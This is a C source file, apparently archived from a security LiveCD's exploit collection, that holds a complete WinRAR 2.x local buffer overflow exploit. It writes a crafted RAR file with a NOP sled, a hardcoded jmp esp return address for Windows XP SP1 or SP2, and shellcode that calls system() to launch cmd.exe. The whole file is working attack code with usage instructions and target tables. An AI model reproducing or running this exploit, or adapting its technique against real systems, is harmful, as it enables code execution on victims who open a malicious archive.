home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / packer / winrar / winrar.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  117 lines

  1. /*
  2. * WinRar local buffer overflow exploit V1.0
  3. * Coded By ATmaCA
  4. * Copyright ⌐ 2004 ProGroup Software, Inc.
  5. * E-Mail:atmaca@prohack.net
  6. * Web:www.prohack.net
  7. * Usage:\r\nexploit <Target> <OutputPath>
  8. * Targets:
  9. * 1 - WinXP SP1 user32.dll [0x77D718FC]
  10. * 2 - WinXP SP2 user32.dll [0x77D8AF0A]
  11. * Example:exploit 1 myrar.rar
  12. */
  13.  
  14. /*
  15. * All WinRar 2.x series are effected
  16. * 3.x series not effected
  17. * If you want to test and you do not have WinRar V2.x
  18. * You can download it from http://atmaca.prorat.net/Src/winrar.zip
  19. */
  20.  
  21. #include <stdio.h>
  22. #include <stdlib.h>
  23. #include <conio.h>
  24.  
  25. #ifdef __BORLANDC__
  26.        #include <mem.h>
  27. #endif
  28.  
  29. #define NOP 0x90
  30.  
  31. /*crafted rar header*/
  32. char winrar_header[] =
  33. "\x52\x61\x72\x21\x1A\x07\x00\xCF\x90\x73\x00\x00\x0D\x00\x00\x00"
  34. "\x00\x00\x00\x00\x4A\x91\x74\x80\x80\x35\x00\x00\x00\x00\x00\x00"
  35. "\x00\x00\x00\x02\x00\x00\x00\x00\x12";
  36.  
  37. /*launch a local cmd.exe*/
  38. char shellcode[]=
  39. "\x68"                    // push
  40. "cmd "                    // cmd
  41. "\x8B\xC4"                // mov eax,esp
  42. "\x50"                    // push eax
  43. "\xB8\xc7\x93\xC2\x77"    // mov eax,77C293C7 (address of system() on WinXP SP2
  44. - msvcrt.dll)
  45. "\xFF\xD0"                // call eax
  46. ;
  47.  
  48. char *target[]=  //return addr
  49. {
  50.        "\xFC\x18\xD7\x77",   //User32 jmp esp addr  WinXp Sp1
  51.        "\x0A\xAF\xD8\x77"    //User32 jmp esp addr  WinXp Sp2
  52. };
  53.  
  54. char *sysadrr[]=
  55. {
  56.        "\x44\x80\xC2\x77",   //77C28044 XP Sp1  msvcrt.dll system()
  57.        "\xC7\x93\xC2\x77"    //77C293C7 XP Sp2  msvcrt.dll system()
  58. };
  59.  
  60. FILE   *di;
  61. int    targetnum;
  62. int    i;
  63.  
  64. void main(int argc, char *argv[])
  65. {
  66.  
  67.        if (argc < 3)
  68.        {
  69.                 printf("\r\nWinRar local buffer overflow exploit V1.0\r\n",
  70. argv[0]);
  71.                 printf("Coded By ATmaCA\r\n");
  72.                 printf("Copyright ⌐ 2004 ProGroup Software, Inc.\r\n");
  73.                 printf("E-Mail:atmaca@prohack.net\r\n");
  74.                 printf("Web:www.prohack.net\r\n\r\n");
  75.                 printf("Usage:\r\nexploit <Target>
  76. <OutputPath>\r\n\r\n",argv[0]);
  77.                 printf("Targets:\n");
  78.                 printf("1 - WinXP SP1 english user32.dll [0x77D718FC]\n");
  79.                 printf("2 - WinXP SP2 english user32.dll [0x77D8AF0A]\n");
  80.                 printf("Example:exploit 1 myrar.rar\n");
  81.  
  82.                 return;
  83.        }
  84.  
  85.        targetnum = atoi(argv[1]) - 1;
  86.  
  87.        if( (di=fopen(argv[2],"wb")) == NULL )
  88.        {
  89.                printf("Error opening file!\n");
  90.                return;
  91.        }
  92.        for(i=0;i<sizeof(winrar_header)-1;i++)
  93.                fputc(winrar_header[i],di);
  94.  
  95.        /*stuff in a couple of NOPs*/
  96.        for(i=0;i<1051;i++)
  97.                fputc(NOP,di);
  98.  
  99.        fprintf(di,"%s",target[targetnum]); //EIP
  100.  
  101.        for(i=0;i<50;i++) //NOPs
  102.                fputc(NOP,di);
  103.  
  104.        memcpy(shellcode+9,sysadrr[targetnum],4); //system() addr
  105.  
  106.        /*Overwriting the return address (EIP) with JMP ESP address
  107.        located somewhere in process space */
  108.        for(i=0;i<sizeof(shellcode)-1;i++)
  109.                fputc(shellcode[i],di);
  110.  
  111.        for(i=0;i<50;i++) //NOPs
  112.                fputc(NOP,di);
  113.  
  114.        printf("Exploit rar file %s has been generated!\n",argv[2]);
  115.  
  116.        fclose(di);
  117. }